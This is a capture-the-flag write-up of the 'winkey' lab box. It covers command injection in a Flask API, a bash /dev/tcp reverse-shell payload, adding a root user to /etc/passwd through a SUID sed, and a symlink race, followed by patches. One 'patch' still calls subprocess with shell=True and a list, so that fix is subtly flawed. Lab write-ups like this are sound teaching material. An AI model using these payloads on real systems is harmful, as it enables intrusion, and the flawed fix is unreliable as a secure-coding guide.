# UrchinSec DTS : Finals CTF (Winkey😉)
### Description
This is an official writeup for the challenge "**winkey**" which was the finals challenge for the UrchinSec DTS Finals CTF. The challenge was to perform a blackbox pentest, and get the highest privileges but also patch any available vulnerability/misconfigration/bug/flaw that might lead to another malicious actor gaining access!
This box was authored/created by [**tahaafarooq**](https://tahaafarooq.dev/)
### Challenge Summary
The box had 2 ports accessible, SSH and Nginx. Provided with hostname `winkey.urc` nginx has 2 virtual hosts which are `api.winkey.urc` and `archive.winkey.urc`. The API is vulnerable to command injection vulnerability. Where after exploiting it the attacker will find that the binary `sed` has SUID bit and there is a cron-job running which splits the path to root in two! By either using `sed` to write into shadows/passwd or monitoring processes and exploiting a race condition binary.
## Enumeration
First begin by running an nmap scan:

We get that there are two ports opened (22/tcp - ssh & 80/tcp - nginx web server). Let's try accessing the port 80:

Seeing that we have the nginx default page, we can proceed by performing a directory search with the following commands:
```shell
dirsearch -u http://192.168.138.136/ -e*
```

We can see that there is a directory `/files/` we can't access it though, so let's also perform a directory search on that path using the commands:
```shell
dirsearch -u http://192.168.138.136/files/ -e*
```

Download the file `backup.zip`, the zip file is password-protected:


Our next step right now will be to cracking the password, we shall utilize [John The Ripper](https://www.openwall.com/john/) and for the wordlist, rockyou.txt won't work :|
Back at it, so first we begin by using zip2john to create the hash using the commands below:
```shell
zip2john backup.zip > backup_zip.hash
```

We shall then crack it using the wordlist `xato-net-10-million-passwords.txt` from [SecLists](https://github.com/danielmiessler/SecLists) with the commands below:
```shell
john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt backup_zip.hash
```

## Initial Foothold
The hash should then be cracked and the password is `pduIlRSLiqBOs`. Using the password we can now unzip the files inside the zip and review what's seems to be source codes:

There are two interesting files `main.go` and `app.py`. Let's start by reviewing the `main.go` from `go-webapp`:
```go=
package main
import (
"html/template"
"net/http"
"log"
)
type PageData struct {
Title string
HeroTitle string
HeroText string
Sections []Section
FooterText string
}
type Section struct {
ID string
Title string
Content string
Image string
}
func main() {
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
tmpl := template.Must(template.New("index").Parse(htmlTemplate))
data := PageData{
Title: "Winkey Schools",
HeroTitle: "Winkey Schools",
HeroText: "Empowering the next generation of global leaders with knowledge, innovation, and impact.",
Sections: []Section{
{ID: "about", Title: "About Winkey", Content: "Winkey School is a beacon of academic excellence, research innovation, and community impact, fostering brilliance in every student.", Image: "about.jpg"},
{ID: "academics", Title: "Academics", Content: "We offer world-class programs across Engineering, Arts, Medicine, Law, and more with an interdisciplinary approach.", Image: "academics.jpg"},
{ID: "life", Title: "Campus Life", Content: "A vibrant campus experience awaits you—from elite clubs to cutting-edge facilities, Winkey is more than a school.", Image: "campus.jpg"},
{ID: "admissions", Title: "Admissions", Content: "Join our legacy. Explore application requirements, scholarships, and global exchange programs.", Image: "admissions.jpg"},
},
FooterText: "© 2025 Winkey University. Designed with passion and excellence.",
}
tmpl.Execute(w, data)
})
log.Println("Server running on http://localhost:8080")
http.ListenAndServe(":8080", nil)
}
const htmlTemplate = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{.Title}}</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;800&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: 'Inter', sans-serif; background: #f5f7fa; color: #1a1a1a; line-height: 1.6; }
header { background: linear-gradient(135deg, #002147, #004080); color: white; padding: 100px 20px; text-align: center; }
header h1 { font-size: 3.5rem; font-weight: 800; margin-bottom: 10px; }
header p { font-size: 1.2rem; max-width: 700px; margin: 0 auto; }
section { padding: 60px 20px; max-width: 1200px; margin: auto; display: flex; align-items: center; gap: 40px; flex-wrap: wrap; }
section:nth-child(even) { flex-direction: row-reverse; background: #ffffff; }
section:nth-child(odd) { background: #f0f4f8; }
section img { width: 100%; max-width: 500px; border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
section div { flex: 1; }
section h2 { font-size: 2rem; margin-bottom: 20px; color: #002147; }
footer { background: #002147; color: white; text-align: center; padding: 30px 20px; font-size: 0.9rem; }
@media(max-width: 768px) {
section { flex-direction: column; }
header h1 { font-size: 2.2rem; }
}
</style>
</head>
<body>
<header>
<h1>{{.HeroTitle}}</h1>
<p>{{.HeroText}}</p>
</header>
{{range .Sections}}
<section id="{{.ID}}">
<div>
<h2>{{.Title}}</h2>
<p>{{.Content}}</p>
</div>
<img src="/static/{{.Image}}" alt="{{.Title}}">
</section>
{{end}}
<footer>
<p>{{.FooterText}}</p>
</footer>
</body>
</html>
`
```
This is the main web application that's running on `http://winkey.urc/` we can simply just add it to our `/etc/hosts` file and we shall be able to access it:

Now let's review `app.py` from `uni-api-flask`:
```python=
from flask import Flask, request, jsonify
import psutil
import subprocess
import smtplib
from email.mime.text import MIMEText
import re
app = Flask(__name__)
def get_system_stats():
return {
"cpu_percent": psutil.cpu_percent(interval=1),
"ram_percent": psutil.virtual_memory().percent,
"disk_percent": psutil.disk_usage('/').percent
}
@app.route("/api/v1/statistics", methods=["GET"])
def statistics():
return jsonify(get_system_stats())
@app.route("/api/v1/send-alerts", methods=["POST"])
def send_alerts():
data = request.get_json()
email = data.get("email")
if not re.match(r"[^@]+@[^@]+\\.[^@]+", email):
return jsonify({"error": "Invalid email"}), 400
stats = get_system_stats()
message = MIMEText(str(stats))
message["Subject"] = "System Statistics Alert"
message["From"] = "monitor@winkey.com"
message["To"] = email
try:
with smtplib.SMTP("localhost") as smtp:
smtp.send_message(message)
return jsonify({"message": "Email sent successfully"})
except Exception as e:
return jsonify({"error": str(e)}), 500
@app.route("/api/v1/check-live-time", methods=["POST"])
def check_live_time():
data = request.get_json()
ip = data.get("ip")
check_host = f"ping -c 1 $(echo {ip})"
try:
output = subprocess.check_output(check_host, shell=True, stderr=subprocess.STDOUT, timeout=3)
return jsonify({"result": output.decode()})
except subprocess.CalledProcessError as e:
return jsonify({"error": e.output.decode()}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
if __name__ == "__main__":
app.run(host='127.0.0.1', debug=True)
```
Checking line 47-51 we will notice that it's taking an IP from post request and then it's running a ping command thus we can simply try to insert a malicious payload. For example here it's expecting for us to send over an ip such as `127.0.0.1` but there is no restriction as to what data we pass on the API we could do something like `127.0.0.1; whoami` to trigger an execution for the command `whoami`.
But first we need to find where exactly is the API running at, so far we haven't identified the port 5000 which is the default port set to run for the flask app. Thus we proceed to perform a vhost/subdomain enumeration using gobuster:
```shell=
gobuster vhost -u http://winkey.urc -w /path/to/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```
We will find the vhost `api.winkey.urc`, We can then add that to our `/etc/hosts` file then proceed to access any of the api endpoints just to check if it's valid:
```shell=
curl http://api.winkey.urc/api/v1/statistics -s | jq
```

Let's test the `/api/v1/check-live-time` just to see if it works how we expect it to work, but first we need to send a valid request to check if it'll ping localhost:
```shell=
curl -X POST http://api.winkey.urc/api/v1/check-live-time -H "Content-Type: application/json" -d '{"ip": "127.0.0.1"}' -s | jq
```

We can see that it pings just fine, now let's tweak the data that we are sending and add the command `whoami` to let it execute and print out the output. Below is the new modified request:
```shell=
curl -X POST http://api.winkey.urc/api/v1/check-live-time -H "Content-Type: application/json" -d '{"ip": "127.0.0.1; whoami"}' -s | jq
```

We can now see the user running this flask API app is `gsanders`!

Let's get this SHELL!!! I'll just simply trigger a reverse-shell with the following payload in the request below:
```shell=
curl -X POST http://api.winkey.urc/api/v1/check-live-time -H "Content-Type: application/json" -d '{"ip": "127.0.0.1; bash -c \"bash -i &>/dev/tcp/[Your-IP]/1337 <&1\""}' -s | jq
```

After getting shell we can now list the users in this host:
```shell
cat /etc/passwd | grep home | grep bash
```

## Privilege Escalation
We shall find that the binary `sed` is SUID, we can run the following commands below:
```shell
find / -perm -u=s 2>/dev/null
```

As seen from the image above `/usr/bin/sed` is indeed SUID and we can simply leverage this to read or modify file, You can learn more about this by visiting https://gtfobins.github.io/gtfobins/sed/#suid for a reference!
Let's begin by first attempting to read the root flag owned by root from the path `/root/root.txt`:
```shell
sed -e '' "/root/root.txt"
```

That worked! Now let's modify the `/etc/passwd` and add a new entry of a user that will be root, first let's create a hashed password with `openssl` then we use sed to append a new user with the password that just hashed and lastly we can confirm if the user is created:
```shell=
hash=$(openssl passwd -6 'pewpew')
sed -i "\$a jojomojo:${hash}:0:0:root:/root:/bin/bash" /etc/passwd
cat /etc/passwd | grep jojomojo
```

Now that the user has been created successfully! We can proceed to run the command `su - jojomojo` to become the user `jojomojo`:

Let's insert our public key into root's ssh folder, and login as root via SSH:


## Patching The Flaws
We have root access we can now begin our second task of the challenge which is to identify flaws/vulnerabilities/bugs within the applications/server or services and patch them.
#### The Flask Web API
The line number 47 is vulnerable to command injection on the flask web app running.
```python
check_host = f"ping -c 1 $(echo {ip})""
```
Let's patch this up, I have modified the entire route's code to the following below:
```python=
@app.route("/api/v1/check-live-time", methods=["POST"])
def check_live_time():
data = request.get_json()
ip = data.get("ip")
if not re.match(r"^(?:\d{1,3}\.){3}\d{1,3}$", ip):
return jsonify({"error": "Invalid IP"})
#check_host = f"ping -c 1 $(echo {ip})"
try:
output = subprocess.check_output(["ping", "-c", "1", ip], shell=True, stderr=subprocess.STDOUT, timeout=3)
return jsonify({"result": output.decode()})
except subprocess.CalledProcessError as e:
return jsonify({"error": e.output.decode()}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
```


That's all patched✅!
#### sed SUID Executable
Next up we are patching `sed` and remove the SUID bit:
```shell=
chmod u-s /usr/bin/sed
```

To prove that we have removed the SUID bit, let's attempt to read the root flag once more as the user `gsanders`:

That's all patched✅!
#### bsparks Cron Job Exposing Credentials
If we head into `/home/bsparks` we can find that bsparks is running the mainapp service which is actually the main web application running at `winkey.urc`. But also the user bsparks is running a cronjob, which initially as user `gsanders` we could've spotted it by running [pspy](https://github.com/DominicBreuker/pspy):

As seen on the image above, when the cronjob runs it's the user bsparks attempting to login to MySQL service with the credentials `root:BenSp4rksF0rY0u`. The password is `bsparks` valid password and we can use it to login as bsparks from `gsanders` and claim the `user.txt`
Alternatively we can review `/var/log/syslog` and we will see that bsparks is running a cronjob after every 10 (ten) minutes to attempt the MySQL login:
```shell
grep CRON /var/log/syslog | grep bsparks | tail
```

And we can also confirm that bsparks is running this cronjob by running the following command below:
```shell
crontab -l -u bsparks
```

We can just remove the cronjob from bsparks✅!
#### proofme SUID Executable (Race Condition)
If we were to find the credenials initially, we can use them to login to `bsparks` and from bsparks home folder we can find the executable `proofme` which is basically SUID bit enabled and owned by root as seen below:

Basically when running the executable, it'll ask for a file to be passed as an argument. Thus I create a file and pass it through to see that it prints out the content:

But trying to access /root/root.txt will bring out an error:

We can notice that it always asks to press enter before it actually prints out the content/error, using strace we can identify this and prove this, we can also see this `AT_SYMLINK_NOFOLLOW` meaning that there is some sort of a check that looks for either `root.txt` in the arguments or if file is symbolic linked:

Thus seems to be a basic race condition task, we can simply trick the executable's logic to reading the `/root/root.txt` file by first requesting to read `hello.txt` and before we hit continue we simply just delete the file `hello.txt` and create the same named file symbolic linked to `/root/root.txt` that way it'll print out the content of `/root/root.txt`:
**Make sure you open spawn two shell instances as bsparks**
```shell
# On First Instance:
echo "pewpew" > hello.txt
./proofme hello.txt
# On Second Instance:
rm -rf hello.txt
ln -s /root/root.txt hello.txt
# Head back to first instance and click enter to continue
```

As seen above we are able to successfully read `/root/root.txt`. I proceed to remove the SUID bit and change ownership to bsparks instead of root🫡
```shell=
chmod u-s /home/bsparks/proofme
chown -R bsparks:bsparks /home/bsparks/proofme
```

That's all patched✅!
And that was it about this challenge!
---
If you do have any question regarding this writeup or anything at all, please reach out to us at <a href="mailto:info@urchinsec.com">info@urchinsec.com</a> or reach out to <a href="mailto:iam@tahaafarooq.dev">iam@tahaafarooq.dev</a>